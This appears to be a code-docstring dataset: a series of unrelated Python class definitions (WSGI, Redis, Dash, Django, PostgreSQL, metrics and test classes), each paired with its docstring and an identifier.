class Supplement: <NEW_LINE> <INDENT> def __init__(self, middleware, environ): <NEW_LINE> <INDENT> self.middleware = middleware <NEW_LINE> self.environ = environ <NEW_LINE> self.source_url = request.construct_url(environ) <NEW_LINE> <DEDENT> def extraData(self): <NEW_LINE> <INDENT> data = {} <NEW_LINE> cgi_vars = data[('extra', 'CGI Variables')] = {} <NEW_LINE> wsgi_vars = data[('extra', 'WSGI Variables')] = {} <NEW_LINE> hide_vars = ['paste.config', 'wsgi.errors', 'wsgi.input', 'wsgi.multithread', 'wsgi.multiprocess', 'wsgi.run_once', 'wsgi.version', 'wsgi.url_scheme'] <NEW_LINE> for name, value in self.environ.items(): <NEW_LINE> <INDENT> if name.upper() == name: <NEW_LINE> <INDENT> if value: <NEW_LINE> <INDENT> cgi_vars[name] = value <NEW_LINE> <DEDENT> <DEDENT> elif name not in hide_vars: <NEW_LINE> <INDENT> wsgi_vars[name] = value <NEW_LINE> <DEDENT> <DEDENT> if self.environ['wsgi.version'] != (1, 0): <NEW_LINE> <INDENT> wsgi_vars['wsgi.version'] = self.environ['wsgi.version'] <NEW_LINE> <DEDENT> proc_desc = tuple([int(bool(self.environ[key])) for key in ('wsgi.multiprocess', 'wsgi.multithread', 'wsgi.run_once')]) <NEW_LINE> wsgi_vars['wsgi process'] = self.process_combos[proc_desc] <NEW_LINE> wsgi_vars['application'] = self.middleware.application <NEW_LINE> if 'paste.config' in self.environ: <NEW_LINE> <INDENT> data[('extra', 'Configuration')] = dict(self.environ['paste.config']) <NEW_LINE> <DEDENT> return data <NEW_LINE> <DEDENT> process_combos = { (0, 0, 0): 'Non-concurrent server', (0, 1, 0): 'Multithreaded', (1, 0, 0): 'Multiprocess', (1, 1, 0): 'Multi process AND threads (?)', (0, 0, 1): 'Non-concurrent CGI', (0, 1, 1): 'Multithread CGI (?)', (1, 0, 1): 'CGI', (1, 1, 1): 'Multi thread/process CGI (?)', } | This is a supplement used to display standard WSGI information in
the traceback. | 62598faa0a50d4780f70534a |
class TableQuestionViewJSON(QuestionView.QuestionViewJSON): <NEW_LINE> <INDENT> name = 'table_question' | TableQuestionViewJSON class represents the implementation of exporting a table question to a JSON formatted string.
This class extends from another class, using an implemention like this:
.. code:: python
from report_builder.Question import QuestionView
class TableQuestionViewJSON(QuestionView.QuestionViewJSON):
name = 'table_question' | 62598faa8e71fb1e983bba1f |
class RedisSession: <NEW_LINE> <INDENT> _pool = None <NEW_LINE> async def get_redis_pool(self): <NEW_LINE> <INDENT> if not self._pool: <NEW_LINE> <INDENT> self._pool = await asyncio_redis.Pool.create( host=str(REDIS_DICT.get('REDIS_ENDPOINT', "localhost")), port=int(REDIS_DICT.get('REDIS_PORT', 6379)), poolsize=int(REDIS_DICT.get('POOLSIZE', 10)), password=REDIS_DICT.get('REDIS_PASSWORD', None), db=REDIS_DICT.get('DB', None) ) <NEW_LINE> <DEDENT> return self._pool | 建立redis连接池 | 62598faa7b25080760ed741a |
class FormGroup(Component): <NEW_LINE> <INDENT> @_explicitize_args <NEW_LINE> def __init__(self, children=None, id=Component.UNDEFINED, style=Component.UNDEFINED, className=Component.UNDEFINED, row=Component.UNDEFINED, check=Component.UNDEFINED, inline=Component.UNDEFINED, disabled=Component.UNDEFINED, **kwargs): <NEW_LINE> <INDENT> self._prop_names = ['children', 'id', 'style', 'className', 'row', 'check', 'inline', 'disabled'] <NEW_LINE> self._type = 'FormGroup' <NEW_LINE> self._namespace = 'dash_bootstrap_components/_components' <NEW_LINE> self._valid_wildcard_attributes = [] <NEW_LINE> self.available_events = [] <NEW_LINE> self.available_properties = ['children', 'id', 'style', 'className', 'row', 'check', 'inline', 'disabled'] <NEW_LINE> self.available_wildcard_properties = [] <NEW_LINE> _explicit_args = kwargs.pop('_explicit_args') <NEW_LINE> _locals = locals() <NEW_LINE> _locals.update(kwargs) <NEW_LINE> args = {k: _locals[k] for k in _explicit_args if k != 'children'} <NEW_LINE> for k in []: <NEW_LINE> <INDENT> if k not in args: <NEW_LINE> <INDENT> raise TypeError( 'Required argument `' + k + '` was not specified.') <NEW_LINE> <DEDENT> <DEDENT> super(FormGroup, self).__init__(children=children, **args) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> if(any(getattr(self, c, None) is not None for c in self._prop_names if c is not self._prop_names[0]) or any(getattr(self, c, None) is not None for c in self.__dict__.keys() if any(c.startswith(wc_attr) for wc_attr in self._valid_wildcard_attributes))): <NEW_LINE> <INDENT> props_string = ', '.join([c+'='+repr(getattr(self, c, None)) for c in self._prop_names if getattr(self, c, None) is not None]) <NEW_LINE> wilds_string = ', '.join([c+'='+repr(getattr(self, c, None)) for c in self.__dict__.keys() if any([c.startswith(wc_attr) for wc_attr in self._valid_wildcard_attributes])]) <NEW_LINE> return ('FormGroup(' + props_string + (', ' + wilds_string if wilds_string != '' else '') + ')') <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return ( 'FormGroup(' + repr(getattr(self, self._prop_names[0], None)) + ')') | A FormGroup component.
Keyword arguments:
- children (a list of or a singular dash component, string or number; optional): The children of this component
- id (string; optional): The ID of this component, used to identify dash components
in callbacks. The ID needs to be unique across all of the
components in an app.
- style (dict; optional): Defines CSS styles which will override styles previously set.
- className (string; optional): Often used with CSS to style elements with common properties.
- row (boolean; optional): Apply row class to FormGroup
- check (boolean; optional): Set to true for groups with checkboxes or radio buttons for improved layout
- inline (boolean; optional): Create inline group
- disabled (boolean; optional): Apply disabled CSS class to form group
Available events: | 62598faa8da39b475be03151 |
class Battery(): <NEW_LINE> <INDENT> def __init__(self, battery_size=60): <NEW_LINE> <INDENT> self.battery_size = battery_size <NEW_LINE> <DEDENT> def describe_battery(self): <NEW_LINE> <INDENT> print("This car has a " + str(self.battery_size) + "-kWh battery.") <NEW_LINE> <DEDENT> def get_range(self): <NEW_LINE> <INDENT> if self.battery_size == 70: <NEW_LINE> <INDENT> range = 240 <NEW_LINE> <DEDENT> elif self.battery_size == 85: <NEW_LINE> <INDENT> range = 270 <NEW_LINE> <DEDENT> message = "This car can go approximately " + str(range) <NEW_LINE> message += " miles on a full charge." <NEW_LINE> print(message) | Простая модель аккумулятора электромобиля. | 62598faa7047854f4633f346 |
class CourseModeAdmin(admin.ModelAdmin): <NEW_LINE> <INDENT> form = CourseModeForm <NEW_LINE> search_fields = ('course_id',) <NEW_LINE> list_display = ( 'id', 'course_id', 'mode_slug', 'mode_display_name', 'min_price', 'suggested_prices', 'currency', 'expiration_date', 'expiration_datetime_custom', 'sku' ) <NEW_LINE> def expiration_datetime_custom(self, obj): <NEW_LINE> <INDENT> if obj.expiration_datetime: <NEW_LINE> <INDENT> return get_time_display(obj.expiration_datetime, '%B %d, %Y, %H:%M %p') <NEW_LINE> <DEDENT> <DEDENT> expiration_datetime_custom.short_description = "Expiration Datetime" | Admin for course modes | 62598faa4c3428357761a227 |
class PostgreSQLDatabase(Database): <NEW_LINE> <INDENT> query_cls = PostgreSQLQuery <NEW_LINE> def __init__(self, host="localhost", port=5432, database=None, user=None, password=None, **kwargs): <NEW_LINE> <INDENT> super().__init__(host, port, database, **kwargs) <NEW_LINE> self.user = user <NEW_LINE> self.password = password <NEW_LINE> <DEDENT> def connect(self): <NEW_LINE> <INDENT> import psycopg2 <NEW_LINE> return psycopg2.connect( host=self.host, port=self.port, dbname=self.database, user=self.user, password=self.password, ) <NEW_LINE> <DEDENT> def trunc_date(self, field, interval): <NEW_LINE> <INDENT> return DateTrunc(field, str(interval)) <NEW_LINE> <DEDENT> def date_add(self, field, date_part, interval): <NEW_LINE> <INDENT> return PostgresDateAdd(field, date_part, interval) <NEW_LINE> <DEDENT> def get_column_definitions(self, schema, table, connection=None): <NEW_LINE> <INDENT> columns = Table("columns", schema="information_schema") <NEW_LINE> columns_query = ( PostgreSQLQuery.from_(columns, immutable=False) .select(columns.column_name, columns.data_type) .where(columns.table_schema == Parameter('%(schema)s')) .where(columns.field("table_name") == Parameter('%(table)s')) .distinct() .orderby(columns.column_name) ) <NEW_LINE> return self.fetch(str(columns_query), parameters=dict(schema=schema, table=table), connection=connection) | PostgreSQL client that uses the psycopg module. | 62598faaf7d966606f747f52 |
class MinBinaryHeapTestCase(unittest.TestCase): <NEW_LINE> <INDENT> def test_binary_heap_insertion(self): <NEW_LINE> <INDENT> print("Inserting Elements in Binary Heap") <NEW_LINE> bh = MinBinaryHeap() <NEW_LINE> elements:List[int] = [random.randrange(0,1000) for _ in range(10)] <NEW_LINE> print('Elements are:{}'.format(elements)) <NEW_LINE> for key in elements: <NEW_LINE> <INDENT> bh.insert_element_min_heap(key) <NEW_LINE> <DEDENT> print("Heap after Elements insertion are") <NEW_LINE> bh.print() <NEW_LINE> <DEDENT> def test_binary_heap_sort(self): <NEW_LINE> <INDENT> print("Inserting Elements in Binary Heap") <NEW_LINE> bh = MinBinaryHeap() <NEW_LINE> elements:List[int] = [random.randrange(0,1000) for _ in range(10)] <NEW_LINE> print('Elements are:{}'.format(elements)) <NEW_LINE> for key in elements: <NEW_LINE> <INDENT> bh.insert_element_min_heap(key) <NEW_LINE> <DEDENT> sorted_list : List[int] = bh.heap_sort() <NEW_LINE> print("Elements after heap sort are : {}".format(sorted_list)) <NEW_LINE> elements.sort() <NEW_LINE> self.assertEqual(elements,sorted_list) | Test for Min Binary Tree | 62598faaac7a0e7691f72477 |
class UniformRandomPolicy(Policy): <NEW_LINE> <INDENT> def __init__(self, mdp): <NEW_LINE> <INDENT> self.mdp = mdp <NEW_LINE> self.policy_mapping = {} <NEW_LINE> for state in mdp.get_state_set(): <NEW_LINE> <INDENT> self.policy_mapping[state] = {} <NEW_LINE> possible_actions = mdp.get_possible_action_mapping()[state] <NEW_LINE> for action in possible_actions: <NEW_LINE> <INDENT> self.policy_mapping[state][action] = 1.0 / len(possible_actions) | Implements a uniform random distribution over possible actions
from each state | 62598faae1aae11d1e7ce7da |
class Brick(): <NEW_LINE> <INDENT> def __init__(self, x, y, coin, sz): <NEW_LINE> <INDENT> self.xps = x <NEW_LINE> self.yps = y <NEW_LINE> self.coin = coin <NEW_LINE> self.size = sz <NEW_LINE> <DEDENT> def print_on_board(self, xps, yps): <NEW_LINE> <INDENT> BOARD.make_brick(xps, yps, self.coin, self.size) <NEW_LINE> <DEDENT> def score(self): <NEW_LINE> <INDENT> pass | brick | 62598faa0c0af96317c562f0 |
class Logic(object): <NEW_LINE> <INDENT> op_2class = {} <NEW_LINE> def __new__(cls, *args): <NEW_LINE> <INDENT> obj = object.__new__(cls) <NEW_LINE> obj.args = args <NEW_LINE> return obj <NEW_LINE> <DEDENT> def __getnewargs__(self): <NEW_LINE> <INDENT> return self.args <NEW_LINE> <DEDENT> def __hash__(self): <NEW_LINE> <INDENT> return hash((type(self).__name__,) + tuple(self.args)) <NEW_LINE> <DEDENT> def __eq__(a, b): <NEW_LINE> <INDENT> if not isinstance(b, type(a)): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return a.args == b.args <NEW_LINE> <DEDENT> <DEDENT> def __ne__(a, b): <NEW_LINE> <INDENT> if not isinstance(b, type(a)): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return a.args != b.args <NEW_LINE> <DEDENT> <DEDENT> def __lt__(self, other): <NEW_LINE> <INDENT> if self.__cmp__(other) == -1: <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> return False <NEW_LINE> <DEDENT> def __cmp__(self, other): <NEW_LINE> <INDENT> if type(self) is not type(other): <NEW_LINE> <INDENT> a = str(type(self)) <NEW_LINE> b = str(type(other)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> a = self.args <NEW_LINE> b = other.args <NEW_LINE> <DEDENT> return (a > b) - (a < b) <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return '%s(%s)' % (self.__class__.__name__, ', '.join(str(a) for a in self.args)) <NEW_LINE> <DEDENT> __repr__ = __str__ <NEW_LINE> @staticmethod <NEW_LINE> def fromstring(text): <NEW_LINE> <INDENT> lexpr = None <NEW_LINE> schedop = None <NEW_LINE> for term in text.split(): <NEW_LINE> <INDENT> if term in '&|': <NEW_LINE> <INDENT> if schedop is not None: <NEW_LINE> <INDENT> raise ValueError( 'double op forbidden: "%s %s"' % (term, schedop)) <NEW_LINE> <DEDENT> if lexpr is None: <NEW_LINE> <INDENT> raise ValueError( '%s cannot be in the beginning of expression' % term) <NEW_LINE> <DEDENT> schedop = term <NEW_LINE> continue <NEW_LINE> <DEDENT> if '&' in term or '|' in term: <NEW_LINE> <INDENT> raise ValueError('& and | must have space around them') <NEW_LINE> <DEDENT> if term[0] == '!': <NEW_LINE> <INDENT> if len(term) == 1: <NEW_LINE> <INDENT> raise ValueError('do not include space after "!"') <NEW_LINE> <DEDENT> term = Not(term[1:]) <NEW_LINE> <DEDENT> if schedop: <NEW_LINE> <INDENT> lexpr = Logic.op_2class[schedop](lexpr, term) <NEW_LINE> schedop = None <NEW_LINE> continue <NEW_LINE> <DEDENT> if lexpr is not None: <NEW_LINE> <INDENT> raise ValueError( 'missing op between "%s" and "%s"' % (lexpr, term)) <NEW_LINE> <DEDENT> lexpr = term <NEW_LINE> <DEDENT> if schedop is not None: <NEW_LINE> <INDENT> raise ValueError('premature end-of-expression in "%s"' % text) <NEW_LINE> <DEDENT> if lexpr is None: <NEW_LINE> <INDENT> raise ValueError('"%s" is empty' % text) <NEW_LINE> <DEDENT> return lexpr | Logical expression | 62598faa99cbb53fe6830e44 |
class AiogitParsingError(AiogitException, ValueError): <NEW_LINE> <INDENT> pass | Raised when a parsing failed (such as the return of a git command or a diff
file). | 62598faa851cf427c66b822c |
class TestMatrixParenthesis(unittest.TestCase): <NEW_LINE> <INDENT> def test_basic(self): <NEW_LINE> <INDENT> arr = [Matrix(4, 5), Matrix(5, 6), Matrix(6, 7)] <NEW_LINE> self.assertEqual(get_cost(0, 1, 2, arr), 4 * 5 * 6 * 7) <NEW_LINE> <DEDENT> def test_get_min_cost(self): <NEW_LINE> <INDENT> self.assertEqual() | Test. | 62598faa796e427e5384e701 |
class VcfFileFixer: <NEW_LINE> <INDENT> def __init__(self, args, argv): <NEW_LINE> <INDENT> self.args = args <NEW_LINE> self.argv = tuple(argv or []) <NEW_LINE> self.output_vcf = self.args.output_vcf <NEW_LINE> self.state = STATE_INITIAL <NEW_LINE> self.seen_contig_line = False <NEW_LINE> self.handlers = ( self._run_initial, self._run_seen_line, self._run_header_done, ) <NEW_LINE> self.contig_lengths = self._load_contig_lengths() <NEW_LINE> <DEDENT> def _load_contig_lengths(self): <NEW_LINE> <INDENT> if not self.args.faidx: <NEW_LINE> <INDENT> return tuple() <NEW_LINE> <DEDENT> result = [] <NEW_LINE> for line in self.args.faidx: <NEW_LINE> <INDENT> arr = line.strip().split("\t") <NEW_LINE> result.append((arr[0], int(arr[1]))) <NEW_LINE> <DEDENT> return tuple(result) <NEW_LINE> <DEDENT> def run(self): <NEW_LINE> <INDENT> for line in self.args.input_vcf: <NEW_LINE> <INDENT> self.handlers[self.state](line) <NEW_LINE> <DEDENT> if self.state == STATE_INITIAL: <NEW_LINE> <INDENT> self._print_dummy_header() <NEW_LINE> <DEDENT> <DEDENT> def _run_initial(self, line): <NEW_LINE> <INDENT> self.state = STATE_SEEN_LINE <NEW_LINE> if line.startswith(PATTERN_CONTIG): <NEW_LINE> <INDENT> self.seen_contig_line = True <NEW_LINE> <DEDENT> elif line.startswith(PATTERN_CHROM): <NEW_LINE> <INDENT> self._handle_last_line() <NEW_LINE> <DEDENT> print(line, end="", file=self.output_vcf) <NEW_LINE> <DEDENT> def _run_seen_line(self, line): <NEW_LINE> <INDENT> if line.startswith(PATTERN_CONTIG): <NEW_LINE> <INDENT> self.seen_contig_line = True <NEW_LINE> <DEDENT> elif line.startswith(PATTERN_CHROM): <NEW_LINE> <INDENT> self._handle_last_line() <NEW_LINE> <DEDENT> print(line, end="", file=self.output_vcf) <NEW_LINE> <DEDENT> def _run_header_done(self, line): <NEW_LINE> <INDENT> print(line, end="", file=self.output_vcf) <NEW_LINE> <DEDENT> def _handle_last_line(self): <NEW_LINE> <INDENT> self.state = STATE_HEADER_DONE <NEW_LINE> if not self.seen_contig_line: <NEW_LINE> <INDENT> self._print_contig_lines() <NEW_LINE> <DEDENT> self._print_fix_vcf_line() <NEW_LINE> <DEDENT> def _print_contig_lines(self): <NEW_LINE> <INDENT> for name, length in self.contig_lengths: <NEW_LINE> <INDENT> tpl = "##contig=<ID={id_},length={length}>" <NEW_LINE> print(tpl.format(id_=name, length=length), file=self.output_vcf) <NEW_LINE> <DEDENT> <DEDENT> def _print_dummy_header(self): <NEW_LINE> <INDENT> print("##fileformat=VCFv4.3", file=self.output_vcf) <NEW_LINE> self._print_contig_lines() <NEW_LINE> self._print_fix_vcf_line() <NEW_LINE> print("##fixVcfNote=The input file was empty, this is a dummy header") <NEW_LINE> if self.args.samples: <NEW_LINE> <INDENT> suff = "\tFORMAT\t{}".format("\t".join(self.args.samples)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> suff = "" <NEW_LINE> <DEDENT> print("#CHROM\tPOS\tID\tREF\tALT\tQUAL\tFILTER\tINFO{}".format(suff), file=self.output_vcf) <NEW_LINE> <DEDENT> def _print_fix_vcf_line(self): <NEW_LINE> <INDENT> print("##fixVcf={}".format(" ".join(self.argv))) | Implementation of file fixing.
Care has been taken to only look at lines when necessary as doing this in
Python quickly becomes an I/O bottleneck. | 62598faa4e4d562566372393 |
class BaseCLI(unittest.TestCase): <NEW_LINE> <INDENT> @classmethod <NEW_LINE> def setUpClass(cls): <NEW_LINE> <INDENT> cls.hostname = conf.properties['main.server.hostname'] <NEW_LINE> cls.katello_user = conf.properties['foreman.admin.username'] <NEW_LINE> cls.katello_passwd = conf.properties['foreman.admin.password'] <NEW_LINE> cls.key_filename = conf.properties['main.server.ssh.key_private'] <NEW_LINE> cls.root = conf.properties['main.server.ssh.username'] <NEW_LINE> cls.locale = conf.properties['main.locale'] <NEW_LINE> cls.verbosity = int(conf.properties['nosetests.verbosity']) <NEW_LINE> logging.getLogger("paramiko").setLevel(logging.ERROR) <NEW_LINE> cls.logger = logging.getLogger("robottelo") <NEW_LINE> <DEDENT> def setUp(self): <NEW_LINE> <INDENT> self.logger.debug("Running test %s/%s", type(self).__name__, self._testMethodName) | Base class for all cli tests | 62598faa6e29344779b005ca |
class Station(AbstractTimeTrackable, AbstractLocation): <NEW_LINE> <INDENT> TYPE_SMOGLY = 'smogly' <NEW_LINE> TYPE_CUSTOM = 'custom' <NEW_LINE> TYPE_AQICN = 'aqicn' <NEW_LINE> TYPE_BASIC_SDS011 = 'basic-sds011' <NEW_LINE> TYPE_CHOICES = ( (TYPE_SMOGLY, 'SMOGLY'), (TYPE_CUSTOM, 'CUSTOM'), (TYPE_AQICN, 'AQICN'), (TYPE_BASIC_SDS011, 'BASIC-SDS011'), ) <NEW_LINE> id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) <NEW_LINE> name = models.CharField(max_length=255) <NEW_LINE> type = models.CharField(max_length=30, choices=TYPE_CHOICES, default=TYPE_SMOGLY) <NEW_LINE> notes = models.CharField(max_length=255) <NEW_LINE> token = models.CharField( max_length=255, help_text='Token automatically generated while saving model, needed by Station to POST any data.', default=generate_token, unique=True ) <NEW_LINE> altitude = models.FloatField(help_text='Altitude of sensor location.', default=0) <NEW_LINE> owner = models.ForeignKey(settings.AUTH_USER_MODEL) <NEW_LINE> @property <NEW_LINE> def last_metering(self): <NEW_LINE> <INDENT> if not cache.get(self.last_metering_cache_key): <NEW_LINE> <INDENT> from api.serializers import MeteringSerializer <NEW_LINE> last_metering = self.metering_set.first() <NEW_LINE> cache.set(self.last_metering_cache_key, MeteringSerializer(last_metering).data) <NEW_LINE> <DEDENT> return cache.get(self.last_metering_cache_key) <NEW_LINE> <DEDENT> @property <NEW_LINE> def last_metering_cache_key(self): <NEW_LINE> <INDENT> return 'station-{}-last-metering'.format(self.pk) <NEW_LINE> <DEDENT> class Meta: <NEW_LINE> <INDENT> ordering = ('-created',) <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return '{}'.format(self.id) <NEW_LINE> <DEDENT> def get_absolute_url(self): <NEW_LINE> <INDENT> return reverse('api_station_detail', args=(self.id,)) <NEW_LINE> <DEDENT> def get_update_url(self): <NEW_LINE> <INDENT> return reverse('api_station_update', args=(self.id,)) | Model representing sensor station. Can be grouped using Project model. | 62598faa8a43f66fc4bf20ea |
class Movie(object): <NEW_LINE> <INDENT> def __init__(self, title, storyline, poster_image_url, trailer_youtube_url): <NEW_LINE> <INDENT> self.title = title <NEW_LINE> self.storyline = storyline <NEW_LINE> self.poster_image_url = poster_image_url <NEW_LINE> self.trailer_youtube_url = trailer_youtube_url | Holds infos about a Movie
Args:
title: Movie's title
storyline: Movie's storyline
poster_image_url: Movie's poster image URL
trailer_youtube_url: Movie's trailer Youtube URL
Behavior:
Create an instance of the Movie class
Returns:
void | 62598faabe8e80087fbbefd1 |
class Mode(): <NEW_LINE> <INDENT> def __init__(self, minibatch=True, nce=False): <NEW_LINE> <INDENT> self.minibatch = minibatch <NEW_LINE> self.nce = nce | Network Mode Selection
Enumeration of options for selecting network mode. This will create a
slightly different output for different purposes.
- ``minibatch``: Process mini-batches with multiple sequences and time
steps. The output is a matrix with one less time
steps containing the probabilities of the words at
the next time step. | 62598faa5fdd1c0f98e5df05 |
class ProjectMessage(message.Message): <NEW_LINE> <INDENT> project_schema = { "type": "object", "properties": { "backend": {"type": "string"}, "created_on": {"type": "number"}, "ecosystem": {"type": "string"}, "homepage": {"type": "string"}, "id": {"type": "integer"}, "name": {"type": "string"}, "regex": {"anyOf": [{"type": "string"}, {"type": "null"}]}, "updated_on": {"type": "number"}, "version": {"anyOf": [{"type": "string"}, {"type": "null"}]}, "version_url": {"anyOf": [{"type": "string"}, {"type": "null"}]}, "versions": {"type": "array", "items": {"type": "string"}}, }, "required": [ "backend", "created_on", "homepage", "id", "name", "regex", "updated_on", "version", "version_url", "versions", ], } <NEW_LINE> @property <NEW_LINE> def project_backend(self): <NEW_LINE> <INDENT> return self.body["project"]["backend"] <NEW_LINE> <DEDENT> @property <NEW_LINE> def project_ecosystem(self): <NEW_LINE> <INDENT> return self.body["project"]["ecosystem"] <NEW_LINE> <DEDENT> @property <NEW_LINE> def project_homepage(self): <NEW_LINE> <INDENT> return self.body["project"]["homepage"] <NEW_LINE> <DEDENT> @property <NEW_LINE> def project_id(self): <NEW_LINE> <INDENT> return self.body["project"]["id"] <NEW_LINE> <DEDENT> @property <NEW_LINE> def project_name(self): <NEW_LINE> <INDENT> return self.body["project"]["name"] <NEW_LINE> <DEDENT> @property <NEW_LINE> def project_version(self): <NEW_LINE> <INDENT> return self.body["project"]["version"] <NEW_LINE> <DEDENT> @property <NEW_LINE> def project_versions(self): <NEW_LINE> <INDENT> return self.body["project"]["versions"] <NEW_LINE> <DEDENT> @property <NEW_LINE> def project_url(self): <NEW_LINE> <INDENT> return ANITYA_URL + "projects/" + str(self.project_id) + "/" | Base class for every project message.
Attributes:
project_schema (str): Project schema definition | 62598faaa8ecb0332587117e |
class AiReviewTaskPoliticalOcrResult(AbstractModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.Status = None <NEW_LINE> self.ErrCodeExt = None <NEW_LINE> self.ErrCode = None <NEW_LINE> self.Message = None <NEW_LINE> self.Input = None <NEW_LINE> self.Output = None <NEW_LINE> <DEDENT> def _deserialize(self, params): <NEW_LINE> <INDENT> self.Status = params.get("Status") <NEW_LINE> self.ErrCodeExt = params.get("ErrCodeExt") <NEW_LINE> self.ErrCode = params.get("ErrCode") <NEW_LINE> self.Message = params.get("Message") <NEW_LINE> if params.get("Input") is not None: <NEW_LINE> <INDENT> self.Input = AiReviewPoliticalOcrTaskInput() <NEW_LINE> self.Input._deserialize(params.get("Input")) <NEW_LINE> <DEDENT> if params.get("Output") is not None: <NEW_LINE> <INDENT> self.Output = AiReviewPoliticalOcrTaskOutput() <NEW_LINE> self.Output._deserialize(params.get("Output")) <NEW_LINE> <DEDENT> memeber_set = set(params.keys()) <NEW_LINE> for name, value in vars(self).items(): <NEW_LINE> <INDENT> if name in memeber_set: <NEW_LINE> <INDENT> memeber_set.remove(name) <NEW_LINE> <DEDENT> <DEDENT> if len(memeber_set) > 0: <NEW_LINE> <INDENT> warnings.warn("%s fileds are useless." % ",".join(memeber_set)) | 内容审核 Ocr 文字敏感任务结果类型
| 62598faa66656f66f7d5a35f |
class Tag(models.Model): <NEW_LINE> <INDENT> title = models.CharField( max_length=200, help_text='Short descriptive name for this tag.', ) <NEW_LINE> slug = models.SlugField( max_length=255, db_index=True, unique=True, help_text='Short descriptive unique name for use in urls.', ) <NEW_LINE> def __str__(self): <NEW_LINE> <INDENT> return self.title <NEW_LINE> <DEDENT> class Meta: <NEW_LINE> <INDENT> verbose_name = '标签' <NEW_LINE> verbose_name_plural = '标签管理' | Tag model to be used for tagging content. Tags are to be used to describe
your content in more detail, in essence providing keywords associated with
your content. Tags can also be seen as micro-categorization of a site's
content. | 62598faad486a94d0ba2bf3c |
class Summary(Collector): <NEW_LINE> <INDENT> kind = MetricsTypes.summary <NEW_LINE> REPR_STR = "summary" <NEW_LINE> DEFAULT_INVARIANTS = ((0.50, 0.05), (0.90, 0.01), (0.99, 0.001)) <NEW_LINE> SUM_KEY = "sum" <NEW_LINE> COUNT_KEY = "count" <NEW_LINE> def __init__( self, name: str, doc: str, const_labels: LabelsType = None, registry: "Registry" = None, invariants: Sequence[Tuple[float, float]] = DEFAULT_INVARIANTS, ) -> None: <NEW_LINE> <INDENT> super().__init__(name, doc, const_labels=const_labels, registry=registry) <NEW_LINE> self.invariants = invariants <NEW_LINE> <DEDENT> def add(self, labels: LabelsType, value: NumericValueType) -> None: <NEW_LINE> <INDENT> value = cast(Union[float, int], value) <NEW_LINE> if type(value) not in (float, int): <NEW_LINE> <INDENT> raise TypeError("Summary only works with digits (int, float)") <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> e = self.get_value(labels) <NEW_LINE> <DEDENT> except KeyError: <NEW_LINE> <INDENT> e = quantile.Estimator(*self.invariants) <NEW_LINE> self.set_value(labels, e) <NEW_LINE> <DEDENT> e.observe(float(value)) <NEW_LINE> <DEDENT> observe = add <NEW_LINE> def get(self, labels: LabelsType) -> Dict[Union[float, str], NumericValueType]: <NEW_LINE> <INDENT> return_data = OrderedDict() <NEW_LINE> e = self.get_value(labels) <NEW_LINE> for i in e._invariants: <NEW_LINE> <INDENT> q = i._quantile <NEW_LINE> return_data[q] = e.query(q) <NEW_LINE> <DEDENT> return_data[ self.COUNT_KEY ] = e._observations <NEW_LINE> return_data[self.SUM_KEY] = e._sum <NEW_LINE> return return_data | A Summary metric captures individual observations from an event or sample
stream and summarizes them in a manner similar to traditional summary
statistics:
1. sum of observations,
2. observation count,
3. rank estimations.
Example use cases for Summaries:
- Response latency
- Request size | 62598faa2c8b7c6e89bd3734 |
class Clean(Command): <NEW_LINE> <INDENT> user_options = [] <NEW_LINE> def initialize_options(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def finalize_options(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def run(self): <NEW_LINE> <INDENT> pass | Command to clean up the directory. | 62598faa7d43ff24874273b9 |
@implementer(ICheckerFactory, plugin.IPlugin) <NEW_LINE> class AnonymousCheckerFactory(object): <NEW_LINE> <INDENT> authType = 'anonymous' <NEW_LINE> authHelp = anonymousCheckerFactoryHelp <NEW_LINE> argStringFormat = 'No argstring required.' <NEW_LINE> credentialInterfaces = (IAnonymous,) <NEW_LINE> def generateChecker(self, argstring=''): <NEW_LINE> <INDENT> return AllowAnonymousAccess() | Generates checkers that will authenticate an anonymous request. | 62598faa30dc7b766599f7bb |
class Project(db.Model): <NEW_LINE> <INDENT> __tablename__ = 'project' <NEW_LINE> id = Column(GUID, primary_key=True, default=uuid4) <NEW_LINE> slug = Column(String(64), unique=True, nullable=False) <NEW_LINE> repository_id = Column(GUID, ForeignKey('repository.id', ondelete="RESTRICT"), nullable=False) <NEW_LINE> name = Column(String(64)) <NEW_LINE> date_created = Column(DateTime, default=datetime.utcnow) <NEW_LINE> avg_build_time = Column(Integer) <NEW_LINE> status = Column(Enum(ProjectStatus), default=ProjectStatus.active, server_default='1') <NEW_LINE> repository = relationship('Repository') <NEW_LINE> plans = association_proxy('project_plans', 'plan') <NEW_LINE> def __init__(self, **kwargs): <NEW_LINE> <INDENT> super(Project, self).__init__(**kwargs) <NEW_LINE> if not self.id: <NEW_LINE> <INDENT> self.id = uuid4() <NEW_LINE> <DEDENT> if not self.slug: <NEW_LINE> <INDENT> self.slug = slugify(self.name) <NEW_LINE> <DEDENT> <DEDENT> @classmethod <NEW_LINE> def get(cls, id): <NEW_LINE> <INDENT> project = cls.query.options( joinedload(cls.repository, innerjoin=True), ).filter_by(slug=id).first() <NEW_LINE> if project is None and len(id) == 32: <NEW_LINE> <INDENT> project = cls.query.options( joinedload(cls.repository), ).get(id) <NEW_LINE> <DEDENT> return project | The way we organize changes. Each project is linked to one repository, and
usually kicks off builds for it when new revisions come it (or just for
some revisions based on filters.) Projects use build plans (see plan) to
describe the work to be done for a build. | 62598faad58c6744b42dc28d |
